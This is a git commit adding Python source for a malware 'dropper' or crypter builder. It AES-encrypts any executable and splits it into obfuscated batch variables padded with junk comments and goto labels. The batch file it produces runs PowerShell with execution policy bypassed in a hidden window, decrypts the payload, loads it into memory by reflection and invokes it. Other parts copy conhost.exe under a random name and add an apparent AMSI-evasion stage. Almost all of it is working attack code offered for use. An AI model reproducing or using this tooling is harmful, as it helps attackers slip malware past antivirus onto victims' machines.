initial commit

2026-08-27 11:04:42 -06:00
commit 5ab7731f12
33 changed files with 1794 additions and 0 deletions
@@ -0,0 +1,396 @@
+#!/usr/bin/env python3
+
+import random
+import string
+import base64
+import os
+from pathlib import Path
+from Crypto.Cipher import AES
+from Crypto.Util.Padding import pad
+from Crypto.Random import get_random_bytes
+
+
+class CompleteBatchObfuscator:
+    
+    def __init__(self, exe_path, output_path='obfuscated_output.bat'):
+        self.exe_path = Path(exe_path)
+        self.output_path = Path(output_path)
+        self.exe_name = self.exe_path.name
+        
+        self.used_names = set()
+        
+        self.aes_key = None
+        self.iv = None
+        self.encrypted_data = None
+        self.base64_segments = []
+        self.segment_var_names = []
+        self.order_fragment_vars = {}
+        self.powershell_chain_vars = []
+        self.labels = []
+        self.junk_words = []
+        
+        print(f"init: {self.exe_name}")
+    
+    def generate_random_var_name(self, length=8, allow_special=False):
+        while True:
+            chars = string.ascii_letters + string.digits
+            name = ''.join(random.choice(chars) for _ in range(length))
+            
+            if name[0].isdigit():
+                name = random.choice(string.ascii_letters) + name[1:]
+            
+            if name not in self.used_names:
+                self.used_names.add(name)
+                return name
+    
+    def generate_random_label(self):
+        length = random.randint(6, 12)
+        chars = string.ascii_letters + string.digits
+        label = ''.join(random.choice(chars) for _ in range(length))
+        
+        if label[0].isdigit():
+            label = random.choice(string.ascii_letters) + label[1:]
+        
+        return label
+    
+    def generate_junk_words(self, count=200):
+        syllables = ['ka', 'ra', 'ta', 'na', 'ma', 'pa', 'ba', 'za', 'la', 'da',
+                     'ko', 'ro', 'to', 'no', 'mo', 'po', 'bo', 'zo', 'lo', 'do',
+                     'ki', 'ri', 'ti', 'ni', 'mi', 'pi', 'bi', 'zi', 'li', 'di']
+        
+        words = []
+        for _ in range(count):
+            word_len = random.randint(2, 4)
+            word = ''.join(random.choice(syllables) for _ in range(word_len))
+            words.append(word)
+        
+        self.junk_words = words
+        return words
+    
+    def generate_junk_line(self):
+        comment_type = random.choice(['rem', 'REM', 'Rem', '::'])
+        num_words = random.randint(3, 8)
+        words = random.sample(self.junk_words, min(num_words, len(self.junk_words)))
+        
+        if random.random() < 0.3:
+            var = self.generate_random_var_name()
+            return f'%{var}%{comment_type}%{self.generate_random_var_name()}% {" ".join(words)}'
+        else:
+            return f'{comment_type} {" ".join(words)}'
+    
+    def encrypt_exe_aes(self):
+        print(f"\naes encrypt")
+        print(f"=" * 60)
+        
+        exe_data = self.exe_path.read_bytes()
+        print(f"read exe: {len(exe_data)} bytes")
+        
+        self.aes_key = get_random_bytes(32)
+        self.iv = get_random_bytes(16)
+        print(f"key: {self.aes_key.hex()}")
+        print(f"iv: {self.iv.hex()}")
+        
+        padded_data = pad(exe_data, AES.block_size)
+        print(f"padded: {len(padded_data)} bytes")
+        
+        cipher = AES.new(self.aes_key, AES.MODE_CBC, self.iv)
+        encrypted = cipher.encrypt(padded_data)
+        print(f"encrypted: {len(encrypted)} bytes")
+        
+        self.encrypted_data = self.iv + encrypted
+        print(f"total: {len(self.encrypted_data)} bytes")
+        
+        return self.encrypted_data
+    
+    def split_base64_into_segments(self):
+        print(f"\nb64 split")
+        print(f"=" * 60)
+        
+        b64_data = base64.b64encode(self.encrypted_data).decode('ascii')
+        print(f"b64: {len(b64_data)} chars")
+        
+        segment_size = len(b64_data) // 21
+        self.base64_segments = []
+        self.segment_var_names = []
+        
+        for i in range(21):
+            start = i * segment_size
+            end = start + segment_size if i < 20 else len(b64_data)
+            segment = b64_data[start:end]
+            var_name = self.generate_random_var_name()
+            
+            self.base64_segments.append(segment)
+            self.segment_var_names.append(var_name)
+            print(f"seg {i+1:2d}: {var_name:12s} = {len(segment)} chars")
+        
+        print(f"made {len(self.base64_segments)} segments")
+        return self.base64_segments, self.segment_var_names
+    
+    def create_order_obfuscation(self):
+        print(f"\norder obfuscation")
+        print(f"=" * 60)
+        
+        order_list = '!'.join(self.segment_var_names)
+        print(f"order: {order_list[:100]}...")
+        print(f"len: {len(order_list)} chars")
+        
+        num_fragments = random.randint(20, 25)
+        fragments = []
+        fragment_vars = []
+        
+        parts = order_list.split('!')
+        parts_per_fragment = max(1, len(parts) // num_fragments)
+        
+        for i in range(0, len(parts), parts_per_fragment):
+            fragment_parts = parts[i:i+parts_per_fragment]
+            fragment = '!'.join(fragment_parts)
+            if i + parts_per_fragment < len(parts):
+                fragment += '!'
+            
+            var_name = self.generate_random_var_name(allow_special=True)
+            fragments.append(fragment)
+            fragment_vars.append(var_name)
+            self.order_fragment_vars[var_name] = fragment
+            print(f"frag {len(fragment_vars):2d}: {var_name:15s} = {fragment[:50]}...")
+        
+        print(f"made {len(fragment_vars)} fragments")
+        
+        line42_var_name = self.generate_random_var_name()
+        line42_content = ''.join(f'%{var}%' for var in fragment_vars)
+        
+        print(f"line42 var: {line42_var_name}")
+        print(f"line42: {line42_content[:100]}...")
+        
+        return line42_var_name, line42_content, fragment_vars
+    
+    def create_powershell_command(self, order_var_name):
+        print(f"\nps command")
+        print(f"=" * 60)
+        
+        key_bytes = ','.join(str(b) for b in self.aes_key)
+        
+        ps_command = f"""$jPFh8Se4 = [System.Security.Cryptography.AESCryptoServiceProvider]::new();$jPFh8Se4.Mode = [System.Security.Cryptography.CipherMode]::CBC;$jPFh8Se4.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$jPFh8Se4.Key = [byte[]]@({key_bytes});$wEAR7v = [Convert]::FromBase64String(-join ($env:{order_var_name}.Split('!')).ForEach({{(Get-Item "env:$_").Value}}));$jPFh8Se4.IV = $wEAR7v[0..15];$F9q72zl=$jPFh8Se4.CreateDecryptor();$4lKXVT9F4=$F9q72zl.TransformFinalBlock($wEAR7v[16..$wEAR7v.Length], 0,$wEAR7v.Length-16);$gEBOJ = [System.Reflection.Assembly]::Load($4lKXVT9F4);$gEBOJ.EntryPoint.Invoke($null, $null)"""
+        
+        print(f"ps len: {len(ps_command)} chars")
+        print(f"reflective load (in-memory)")
+        print(f"first 200: {ps_command[:200]}...")
+        
+        return ps_command
+    
+    def create_powershell_chain(self, ps_command):
+        print(f"\nps chain")
+        print(f"=" * 60)
+        
+        statements = ps_command.split(';')
+        
+        num_parts = 7
+        statements_per_part = max(1, len(statements) // num_parts)
+        
+        parts = []
+        for i in range(0, len(statements), statements_per_part):
+            part_statements = statements[i:i+statements_per_part]
+            part = ';'.join(part_statements)
+            parts.append(part)
+        
+        if len(parts) > num_parts:
+            parts = parts[:num_parts-1] + [';'.join(parts[num_parts-1:])]
+        
+        chain_vars = []
+        for i in range(min(len(parts), num_parts)):
+            var_name = self.generate_random_var_name()
+            chain_vars.append(var_name)
+        
+        self.powershell_chain_vars = chain_vars
+        
+        chain_values = {}
+        for i in range(len(chain_vars)):
+            if i < len(chain_vars) - 1:
+                value = parts[i] + f";iex $env:{chain_vars[i+1]}"
+            else:
+                value = parts[i]
+            
+            chain_values[chain_vars[i]] = value
+            print(f"chain {i+1}: {chain_vars[i]:12s} -> {value[:80]}...")
+        
+        print(f"made {len(chain_vars)}-step chain")
+        
+        return chain_vars, chain_values
+    
+    def obfuscate_string_with_vars(self, text, num_parts=None):
+        if num_parts is None:
+            num_parts = random.randint(4, 10)
+        
+        part_size = len(text) // num_parts
+        parts = []
+        var_names = []
+        
+        for i in range(num_parts):
+            start = i * part_size
+            end = start + part_size if i < num_parts - 1 else len(text)
+            part = text[start:end]
+            var_name = self.generate_random_var_name()
+            
+            parts.append(part)
+            var_names.append(var_name)
+        
+        return list(zip(var_names, parts))
+    
+    def build_batch_file(self, line42_var, line42_content, fragment_vars, chain_vars, chain_values, order_var_name):
+        print(f"\nbatch assembly")
+        print(f"=" * 60)
+        
+        lines = []
+        
+        self.labels = [self.generate_random_label() for _ in range(random.randint(10, 15))]
+        self.generate_junk_words(200)
+        
+        lines.append('@echo off')
+        
+        for _ in range(2):
+            lines.append(self.generate_junk_line())
+        lines.append(f'goto :{self.labels[0]}')
+        for _ in range(3):
+            lines.append(self.generate_junk_line())
+        lines.append(f':{self.labels[0]}')
+        lines.append('')
+        
+        exe_parts = self.obfuscate_string_with_vars(self.exe_name, num_parts=random.randint(5, 8))
+        for var, part in exe_parts:
+            set_cmd = random.choice(['set', 'SET', 'sEt', 'SeT', 'seT', 'sET'])
+            if random.random() < 0.7:
+                lines.append(f'{set_cmd} "{var}={part}"')
+            else:
+                lines.append(f'{set_cmd} {var}={part}')
+        exe_var_ref = ''.join(f'%{var}%' for var, _ in exe_parts)
+        
+        for _ in range(random.randint(3, 6)):
+            lines.append(self.generate_junk_line())
+        lines.append(f'goto :{self.labels[1]}')
+        lines.append(self.generate_junk_line())
+        lines.append(f':{self.labels[1]}')
+        
+        print(f"adding 21 b64 vars...")
+        for i, (var_name, segment) in enumerate(zip(self.segment_var_names, self.base64_segments)):
+            set_cmd = random.choice(['SET', 'set', 'sEt'])
+            lines.append(f'{set_cmd} {var_name}={segment}')
+            if (i + 1) % 5 == 0:
+                lines.append(self.generate_junk_line())
+        
+        for _ in range(random.randint(2, 4)):
+            lines.append(self.generate_junk_line())
+        lines.append(f'goto :{self.labels[2]}')
+        lines.append(f':{self.labels[2]}')
+        
+        print(f"adding order fragments...")
+        for var_name, fragment in self.order_fragment_vars.items():
+            set_cmd = random.choice(['set', 'SET', 'sEt'])
+            if random.random() < 0.5:
+                lines.append(f'{set_cmd} "{var_name}={fragment}"')
+            else:
+                lines.append(f'{set_cmd} "{var_name}={fragment}" && {self.generate_junk_line()}')
+        
+        print(f"adding line 42...")
+        lines.append(f'SET "{order_var_name}={line42_content}"')
+        
+        for _ in range(random.randint(2, 4)):
+            lines.append(self.generate_junk_line())
+        lines.append(f'goto :{self.labels[3]}')
+        lines.append(f':{self.labels[3]}')
+        
+        print(f"adding ps chain...")
+        for var_name in reversed(chain_vars):
+            value = chain_values[var_name]
+            set_cmd = random.choice(['SET', 'set', 'sEt', 'SeT'])
+            lines.append(f'{set_cmd} "{var_name}={value}"')
+        
+        print(f"adding exec cmd...")
+        lines.append(f'goto :{self.labels[4]}')
+        lines.append(f':{self.labels[4]}')
+        
+        ps_parts = self.obfuscate_string_with_vars('powershell -ExecutionPolicy Bypass -WindowStyle Hidden -c')
+        for var, part in ps_parts:
+            set_cmd = random.choice(['set', 'SET'])
+            lines.append(f'{set_cmd} "{var}={part}"')
+        ps_ref = ''.join(f'%{var}%' for var, _ in ps_parts)
+        
+        lines.append(f'{ps_ref} %{chain_vars[0]}%')
+        
+        for i in range(5, len(self.labels)):
+            lines.append('')
+            if random.random() < 0.3 and i < len(self.labels) - 1:
+                lines.append(f'goto :{self.labels[i+1]}')
+            for _ in range(random.randint(2, 6)):
+                lines.append(self.generate_junk_line())
+            lines.append(f':{self.labels[i]}')
+        
+        for _ in range(random.randint(5, 10)):
+            lines.append(self.generate_junk_line())
+        
+        print(f"total lines: {len(lines)}")
+        
+        return lines
+    
+    def build(self):
+        print(f"\n{'='*60}")
+        print(f"batch obfuscator")
+        print(f"{'='*60}")
+        print(f"in: {self.exe_path}")
+        print(f"out: {self.output_path}")
+        
+        self.encrypt_exe_aes()
+        self.split_base64_into_segments()
+        line42_var, line42_content, fragment_vars = self.create_order_obfuscation()
+        order_var_name = self.generate_random_var_name(length=12)
+        ps_command = self.create_powershell_command(order_var_name)
+        chain_vars, chain_values = self.create_powershell_chain(ps_command)
+        lines = self.build_batch_file(line42_var, line42_content, fragment_vars, 
+                                      chain_vars, chain_values, order_var_name)
+        
+        self.output_path.write_text('\n'.join(lines), encoding='utf-8')
+        
+        print(f"\n{'='*60}")
+        print(f"done")
+        print(f"{'='*60}")
+        print(f"output: {self.output_path}")
+        print(f"lines: {len(lines)}")
+        print(f"vars: {len(self.used_names)}")
+        print(f"  payload: {len(self.segment_var_names)}")
+        print(f"  order: {len(self.order_fragment_vars)}")
+        print(f"  ps chain: {len(chain_vars)}")
+        print(f"  other: {len(self.used_names) - len(self.segment_var_names) - len(self.order_fragment_vars) - len(chain_vars)}")
+        print(f"labels: {len(self.labels)}")
+        print(f"junk: ~{len([l for l in lines if 'rem' in l.lower() or '::' in l])}")
+        print(f"key: {self.aes_key.hex()}")
+        print(f"iv: {self.iv.hex()}")
+        
+        return self.output_path
+
+
+def main():
+    import sys
+    
+    print("=" * 60)
+    print("batch obfuscator")
+    print("=" * 60)
+    
+    if len(sys.argv) < 2:
+        print("\nusage: python builder.py <input.exe> [output.bat]")
+        print("\nexample:")
+        print("  python builder.py myapp.exe obfuscated.bat")
+        sys.exit(1)
+    
+    exe_file = sys.argv[1]
+    output_file = sys.argv[2] if len(sys.argv) > 2 else 'obfuscated_output.bat'
+    
+    if not Path(exe_file).exists():
+        print(f"\nfile not found: {exe_file}")
+        sys.exit(1)
+    
+    builder = CompleteBatchObfuscator(exe_file, output_file)
+    builder.build()
+    
+    print(f"\ndone: {output_file}")
+
+
+if __name__ == "__main__":
+    main()
@@ -0,0 +1,5 @@
+JUNK_DENSITY = 2
+JUNK_BLOCKS = 25
+PAYLOAD_CHUNK_SIZE = 2800
+OUTPUT_NAME_LENGTH = 9
+AES_KEY_SIZE = 32
@@ -0,0 +1,2 @@
+from .cli import main
+main()
@@ -0,0 +1,4 @@
+import sys, os
+sys.path.insert(0, os.path.dirname(os.path.dirname(os.path.abspath(__file__))))
+from dropper.cli import main
+main()
@@ -0,0 +1,33 @@
+import sys, os
+try:
+    from .generator import generate
+except ImportError:
+    from generator import generate
+
+def main():
+    if len(sys.argv) < 2:
+        print(f"usage: python -m dropper <input.exe> [output.bat]")
+        sys.exit(1)
+
+    input_path = sys.argv[1]
+    output_path = sys.argv[2] if len(sys.argv) >= 3 else os.path.splitext(os.path.basename(input_path))[0] + '_dropper.bat'
+
+    if not os.path.exists(input_path):
+        print(f"file not found: {input_path}")
+        sys.exit(1)
+
+    with open(input_path, 'rb') as f:
+        exe_data = f.read()
+
+    if not exe_data:
+        print("empty file")
+        sys.exit(1)
+
+    print(f"in: {input_path}")
+    print(f"out: {output_path}")
+
+    if generate(exe_data, output_path):
+        print(f"\ndone: {output_path}")
+    else:
+        print("failed")
+        sys.exit(1)
@@ -0,0 +1,126 @@
+import os
+try:
+    from . import AES_KEY_SIZE
+except ImportError:
+    AES_KEY_SIZE = 32
+
+SBOX = [
+    0x63,0x7c,0x77,0x7b,0xf2,0x6b,0x6f,0xc5,0x30,0x01,0x67,0x2b,0xfe,0xd7,0xab,0x76,
+    0xca,0x82,0xc9,0x7d,0xfa,0x59,0x47,0xf0,0xad,0xd4,0xa2,0xaf,0x9c,0xa4,0x72,0xc0,
+    0xb7,0xfd,0x93,0x26,0x36,0x3f,0xf7,0xcc,0x34,0xa5,0xe5,0xf1,0x71,0xd8,0x31,0x15,
+    0x04,0xc7,0x23,0xc3,0x18,0x96,0x05,0x9a,0x07,0x12,0x80,0xe2,0xeb,0x27,0xb2,0x75,
+    0x09,0x83,0x2c,0x1a,0x1b,0x6e,0x5a,0xa0,0x52,0x3b,0xd6,0xb3,0x29,0xe3,0x2f,0x84,
+    0x53,0xd1,0x00,0xed,0x20,0xfc,0xb1,0x5b,0x6a,0xcb,0xbe,0x39,0x4a,0x4c,0x58,0xcf,
+    0xd0,0xef,0xaa,0xfb,0x43,0x4d,0x33,0x85,0x45,0xf9,0x02,0x7f,0x50,0x3c,0x9f,0xa8,
+    0x51,0xa3,0x40,0x8f,0x92,0x9d,0x38,0xf5,0xbc,0xb6,0xda,0x21,0x10,0xff,0xf3,0xd2,
+    0xcd,0x0c,0x13,0xec,0x5f,0x97,0x44,0x17,0xc4,0xa7,0x7e,0x3d,0x64,0x5d,0x19,0x73,
+    0x60,0x81,0x4f,0xdc,0x22,0x2a,0x90,0x88,0x46,0xee,0xb8,0x14,0xde,0x5e,0x0b,0xdb,
+    0xe0,0x32,0x3a,0x0a,0x49,0x06,0x24,0x5c,0xc2,0xd3,0xac,0x62,0x91,0x95,0xe4,0x79,
+    0xe7,0xc8,0x37,0x6d,0x8d,0xd5,0x4e,0xa9,0x6c,0x56,0xf4,0xea,0x65,0x7a,0xae,0x08,
+    0xba,0x78,0x25,0x2e,0x1c,0xa6,0xb4,0xc6,0xe8,0xdd,0x74,0x1f,0x4b,0xbd,0x8b,0x8a,
+    0x70,0x3e,0xb5,0x66,0x48,0x03,0xf6,0x0e,0x61,0x35,0x57,0xb9,0x86,0xc1,0x1d,0x9e,
+    0xe1,0xf8,0x98,0x11,0x69,0xd9,0x8e,0x94,0x9b,0x1e,0x87,0xe9,0xce,0x55,0x28,0xdf,
+    0x8c,0xa1,0x89,0x0d,0xbf,0xe6,0x42,0x68,0x41,0x99,0x2d,0x0f,0xb0,0x54,0xbb,0x16,
+]
+
+RCON = [0x01,0x02,0x04,0x08,0x10,0x20,0x40,0x80,0x1b,0x36]
+
+def _xtime(a):
+    return ((a << 1) ^ 0x1b) & 0xff if a & 0x80 else (a << 1) & 0xff
+
+def _mix_single(a):
+    t = a[0] ^ a[1] ^ a[2] ^ a[3]
+    u = a[0]
+    a[0] ^= _xtime(a[0] ^ a[1]) ^ t
+    a[1] ^= _xtime(a[1] ^ a[2]) ^ t
+    a[2] ^= _xtime(a[2] ^ a[3]) ^ t
+    a[3] ^= _xtime(a[3] ^ u) ^ t
+
+def _key_expansion(key):
+    nk = len(key) // 4
+    nr = nk + 6
+    w = [key[4*i:4*i+4] for i in range(nk)]
+    for i in range(nk, 4*(nr+1)):
+        temp = list(w[i-1])
+        if i % nk == 0:
+            temp = [SBOX[temp[1]] ^ RCON[i//nk-1], SBOX[temp[2]], SBOX[temp[3]], SBOX[temp[0]]]
+        elif nk > 6 and i % nk == 4:
+            temp = [SBOX[b] for b in temp]
+        w.append(bytes([a ^ b for a, b in zip(w[i-nk], temp)]))
+    round_keys = []
+    for r in range(nr + 1):
+        rk = b''
+        for i in range(4):
+            rk += w[r*4 + i]
+        round_keys.append(rk)
+    return round_keys
+
+def _encrypt_block(block, round_keys):
+    nr = len(round_keys) - 1
+    state = [list(block[i:i+4]) for i in range(0, 16, 4)]
+    s = [[state[j][i] for j in range(4)] for i in range(4)]
+
+    for i in range(4):
+        for j in range(4):
+            s[i][j] ^= round_keys[0][i*4+j]
+
+    for rnd in range(1, nr + 1):
+        for i in range(4):
+            for j in range(4):
+                s[i][j] = SBOX[s[i][j]]
+        s[1] = s[1][1:] + s[1][:1]
+        s[2] = s[2][2:] + s[2][:2]
+        s[3] = s[3][3:] + s[3][:3]
+        if rnd < nr:
+            for j in range(4):
+                col = [s[i][j] for i in range(4)]
+                _mix_single(col)
+                for i in range(4):
+                    s[i][j] = col[i]
+        for i in range(4):
+            for j in range(4):
+                s[i][j] ^= round_keys[rnd][i*4+j]
+
+    result = bytearray(16)
+    for i in range(4):
+        for j in range(4):
+            result[i*4+j] = s[i][j]
+    return bytes(result)
+
+def _pkcs7_pad(data, block_size=16):
+    pad_len = block_size - (len(data) % block_size)
+    return data + bytes([pad_len] * pad_len)
+
+def _aes_cbc_encrypt(plaintext, key, iv):
+    padded = _pkcs7_pad(plaintext)
+    round_keys = _key_expansion(key)
+    ciphertext = b''
+    prev = iv
+    for i in range(0, len(padded), 16):
+        block = padded[i:i+16]
+        xored = bytes([a ^ b for a, b in zip(block, prev)])
+        encrypted = _encrypt_block(xored, round_keys)
+        ciphertext += encrypted
+        prev = encrypted
+    return ciphertext
+
+def _try_system_aes(data, key, iv):
+    try:
+        from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
+        from cryptography.hazmat.primitives import padding
+        from cryptography.hazmat.backends import default_backend
+        padder = padding.PKCS7(128).padder()
+        padded = padder.update(data) + padder.finalize()
+        cipher = Cipher(algorithms.AES(key), modes.CBC(iv), backend=default_backend())
+        enc = cipher.encryptor()
+        return enc.update(padded) + enc.finalize()
+    except ImportError:
+        return None
+
+def encrypt_payload(data, key, iv):
+    result = _try_system_aes(data, key, iv)
+    if result is not None:
+        print("using system aes")
+        return result
+    print("using pure python aes (slow)")
+    return _aes_cbc_encrypt(data, key, iv)
@@ -0,0 +1,325 @@
+import os, random, string, base64
+try:
+    from . import AES_KEY_SIZE, PAYLOAD_CHUNK_SIZE, OUTPUT_NAME_LENGTH, JUNK_BLOCKS
+    from .rand import rand_str, rand_var, rand_label, rand_case
+    from .obfuscation import make_set_cmd, make_junk_block, make_rem_line, make_goto_cmd
+    from .crypto import encrypt_payload
+except ImportError:
+    AES_KEY_SIZE = 32
+    PAYLOAD_CHUNK_SIZE = 2800
+    OUTPUT_NAME_LENGTH = 9
+    JUNK_BLOCKS = 25
+    from rand import rand_str, rand_var, rand_label, rand_case
+    from obfuscation import make_set_cmd, make_junk_block, make_rem_line, make_goto_cmd
+    from crypto import encrypt_payload
+
+
+def generate(exe_data, output_path):
+    print(f"input: {len(exe_data)} bytes")
+
+    key = os.urandom(AES_KEY_SIZE)
+    iv = os.urandom(16)
+    print(f"aes-{AES_KEY_SIZE*8} key gen")
+
+    encrypted = encrypt_payload(exe_data, key, iv)
+    payload = iv + encrypted
+    print(f"encrypted: {len(payload)} bytes")
+
+    b64_payload = base64.b64encode(payload).decode('ascii')
+    print(f"b64: {len(b64_payload)} chars")
+
+    payload_vars = []
+    chunks = []
+    for i in range(0, len(b64_payload), PAYLOAD_CHUNK_SIZE):
+        chunk = b64_payload[i:i+PAYLOAD_CHUNK_SIZE]
+        var_name = rand_var(6, 12)
+        payload_vars.append(var_name)
+        chunks.append((var_name, chunk))
+    print(f"split into {len(chunks)} chunks")
+
+    order_list = '!'.join(payload_vars)
+    print(f"order list: {len(order_list)} chars")
+    
+    num_fragments = random.randint(max(len(chunks) // 3, 8), max(len(chunks) // 2, 15))
+    fragments = []
+    fragment_vars = []
+    
+    parts = order_list.split('!')
+    parts_per_fragment = max(1, len(parts) // num_fragments)
+    
+    for i in range(0, len(parts), parts_per_fragment):
+        fragment_parts = parts[i:i+parts_per_fragment]
+        fragment = '!'.join(fragment_parts)
+        if i + parts_per_fragment < len(parts):
+            fragment += '!'
+        
+        var_name = rand_var(6, 12)
+        fragments.append(fragment)
+        fragment_vars.append(var_name)
+    
+    print(f"made {len(fragment_vars)} fragments")
+    
+    concat_var_name = rand_var(8, 14)
+    output_exe_name = rand_str(OUTPUT_NAME_LENGTH, OUTPUT_NAME_LENGTH, string.ascii_letters + string.digits) + '.exe'
+
+    lines = []
+
+    lines.append(f'echo {rand_str(2,5)} > nul')
+    lines.append('@echo off')
+    lines.extend(make_junk_block())
+    lines.append(make_rem_line())
+
+    setup_label = rand_label()
+    lines.append(f':{setup_label}')
+    lines.append('')
+
+    v_conpath = rand_var(6, 10)
+    v_nhost = rand_var(5, 8)
+    v_windir_set = rand_var(5, 8)
+    v_sysnative = rand_var(6, 10)
+    v_conh = rand_var(5, 8)
+    v_exe_ext = rand_var(5, 8)
+
+    lines.append(make_set_cmd(v_nhost, 'nhost.'))
+    lines.append(make_set_cmd(v_windir_set, f'%windir%\\'))
+    lines.append(make_set_cmd(v_sysnative, 'Sysnativ'))
+    lines.append(make_set_cmd(v_conh, 'e\\co'))
+    lines.append(make_set_cmd(v_exe_ext, 'exe'))
+
+    v_set_prefix = rand_var(5, 8)
+    v_owi = rand_var(6, 10)
+    lines.append(make_set_cmd(v_set_prefix, 'SeT '))
+    lines.append(make_set_cmd(v_owi, f'{v_conpath}='))
+    lines.append(f'%{v_set_prefix}%%{v_owi}%%{v_windir_set}%%{v_sysnative}%%{v_conh}%%{v_nhost}%%{v_exe_ext}%')
+    lines.extend(make_junk_block())
+
+    check_label = rand_label()
+    fallback_label = rand_label()
+    lines.append(f':{check_label}')
+
+    v_if_set = rand_var(5, 8)
+    v_exist_set = rand_var(5, 8)
+    v_path_set = rand_var(5, 8)
+    v_then_set = rand_var(5, 8)
+    v_then_marker = rand_var(5, 8)
+
+    lines.append(make_set_cmd(v_if_set, 'if '))
+    lines.append(make_set_cmd(v_exist_set, 'exist '))
+    lines.append(make_set_cmd(v_path_set, f'%{v_conpath}% '))
+    lines.append(make_set_cmd(v_then_set, 'SET '))
+    lines.append(make_set_cmd(v_then_marker, f'{v_conpath}='))
+    lines.append(f'%{v_if_set}%%{v_exist_set}%%{v_path_set}%%{v_then_set}%%{v_then_marker}%%{v_conpath}%')
+    lines.extend(make_junk_block())
+
+    lines.append(f':{fallback_label}')
+    v_sys32_set = rand_var(5, 8)
+    v_sys32_conh = rand_var(5, 8)
+
+    lines.append(make_set_cmd(v_sys32_set, f'%windir%\\'))
+    lines.append(make_set_cmd(v_sys32_conh, 'System32\\co'))
+    lines.append(f'%{v_set_prefix}%%{v_owi}%%{v_sys32_set}%%{v_sys32_conh}%%{v_nhost}%%{v_exe_ext}%')
+    lines.extend(make_junk_block())
+
+    copy_label = rand_label()
+    lines.append(f':{copy_label}')
+
+    name_parts = [output_exe_name[:3], output_exe_name[3:-4], '.ex', 'e']
+    v_parts = []
+    for part in name_parts:
+        v = rand_var(5, 8)
+        v_parts.append(v)
+        lines.append(make_set_cmd(v, part))
+
+    v_copy_cmd = rand_var(5, 8)
+    v_tmp_dir = rand_var(5, 8)
+    v_sp = rand_var(5, 8)
+
+    lines.append(make_set_cmd(v_copy_cmd, 'copy'))
+    lines.append(make_set_cmd(v_tmp_dir, f'%tmp%\\'))
+    lines.append(make_set_cmd(v_sp, f' %{v_conpath}% '))
+
+    copy_line = f'%{v_copy_cmd}%%{v_sp}%%{v_tmp_dir}%'
+    for v in v_parts:
+        copy_line += f'%{v}%'
+    lines.append(copy_line)
+    lines.extend(make_junk_block())
+
+    payload_section_label = rand_label()
+    lines.append(f':{payload_section_label}')
+
+    shuffled_indices = list(range(len(chunks)))
+    random.shuffle(shuffled_indices)
+
+    for idx in shuffled_indices:
+        var_name, chunk_data = chunks[idx]
+        lines.append(f'{rand_case("SET")} {var_name}={chunk_data}')
+        if random.random() > 0.65:
+            lines.append(make_rem_line())
+        if random.random() > 0.85:
+            lines.extend(make_junk_block())
+
+    lines.extend(make_junk_block())
+
+    concat_label = rand_label()
+    lines.append(f':{concat_label}')
+    
+    for var_name, fragment in zip(fragment_vars, fragments):
+        if random.random() > 0.5:
+            lines.append(f'{rand_case("SET")} "{var_name}={fragment}"')
+        else:
+            lines.append(f'{rand_case("SET")} "{var_name}={fragment}" && {make_rem_line()}')
+        if random.random() > 0.7:
+            lines.append(make_rem_line())
+    
+    lines.extend(make_junk_block())
+    
+    concat_value = ''.join(f'%{var}%' for var in fragment_vars)
+    lines.append(f'{rand_case("SET")} "{concat_var_name}={concat_value}"')
+    lines.extend(make_junk_block())
+
+    ps_stage_label = rand_label()
+    lines.append(f':{ps_stage_label}')
+
+    v_stage1 = rand_var(6, 10)
+    v_stage2 = rand_var(6, 10)
+    v_stage3 = rand_var(6, 10)
+    v_stage4 = rand_var(6, 10)
+    v_stage5 = rand_var(6, 10)
+
+    key_ps = ','.join(str(b) for b in key)
+
+    v_aes_obj = rand_var(6, 10)
+    v_enc_data = rand_var(6, 10)
+    v_decryptor = rand_var(5, 8)
+    v_decrypted = rand_var(6, 10)
+    v_asm = rand_var(5, 8)
+
+    decrypt_parts = [
+        f"${v_aes_obj} = [System.Security.Cry",
+        f"pto",
+        f"graphy.AESCryptoS",
+        f"ervice",
+        f"Provid",
+        f"er]::new();${v_aes_obj}.Mo",
+        f"De = [System.Security.C",
+        f"ryptogra",
+        f"phy.CipherMode]::cb",
+        f"C;${v_aes_obj}.pa",
+        f"D",
+        f"ding = [",
+        f"Sys",
+        f"tem.Se",
+        f"c",
+        f"urity.Cryptograph",
+        f"y",
+        f".Padd",
+        f"ingMod",
+        f"e]::PKcS",
+        f"7;${v_aes_obj}",
+        f".",
+        f"k",
+        f"Ey = [byte",
+        f"[]]@({key_ps});",
+        f"${v_enc_data} = [",
+        f"Conv",
+        f"ert",
+        f"]::FromBase64String(-join ($env:{concat_var_name}.Split('!')).For",
+        f"Each({{(Get-Item \"env",
+        f":$_\").Value}}));${v_aes_obj}.IV = ${v_enc_data}",
+        f"[",
+        f"0..15];",
+        f"${v_decryptor}=${v_aes_obj}.cREAtEDecRy",
+        f"pTOR();${v_decrypted}=${v_decryptor}.tRANsfORmfInaLBLock(",
+        f"${v_enc_data}[16..${v_enc_data}.Length], 0,",
+        f"${v_enc_data}.LenG",
+        f"T",
+        f"H-16);${v_asm} =",
+        f"[Syst",
+        f"em.Reflection.A",
+        f"sse",
+        f"mbly]::lOaD",
+        f"(${v_decrypted}",
+        f");${v_asm}.eNt",
+        f"RYPoI",
+        f"NT.Inv",
+        f"oke($null, $n",
+        f"ul",
+        f"l);"
+    ]
+    
+    obfuscated_decrypt = ''
+    for i, part in enumerate(decrypt_parts):
+        if random.random() > 0.7 and i > 0:
+            junk_var = rand_var(5, 10)
+            obfuscated_decrypt += f'%{junk_var}%'
+        obfuscated_decrypt += part
+    
+    decrypt_code = obfuscated_decrypt
+    lines.append(make_set_cmd(v_stage2, decrypt_code))
+    lines.extend(make_junk_block())
+
+    entry_code = f'iex $env:{v_stage2}'
+    lines.append(make_set_cmd(v_stage5, entry_code))
+    lines.extend(make_junk_block())
+
+    v_amsi_psauto = rand_var(6, 10)
+    v_amsi_ast = rand_var(5, 8)
+    amsi_code = (
+        f"${v_amsi_psauto} = [ScriptBlock]::Create('').Ast; "
+        f"${v_amsi_ast} = [System.Management.Automation.Language.ScriptBlockAst]::new("
+        f"${v_amsi_psauto}.Extent,$null,$null,$null,"
+        f"${v_amsi_ast}.EndBlock.Copy(),$null); "
+        f"iex $env:{v_stage5}"
+    )
+    lines.append(make_set_cmd(v_stage3, amsi_code))
+    lines.extend(make_junk_block())
+
+    v_sb = rand_var(5, 8)
+    trigger_code = f"${v_sb} = [ScriptBlock]::Create('').Ast; iex $env:{v_stage3}"
+    lines.append(make_set_cmd(v_stage4, trigger_code))
+    lines.extend(make_junk_block())
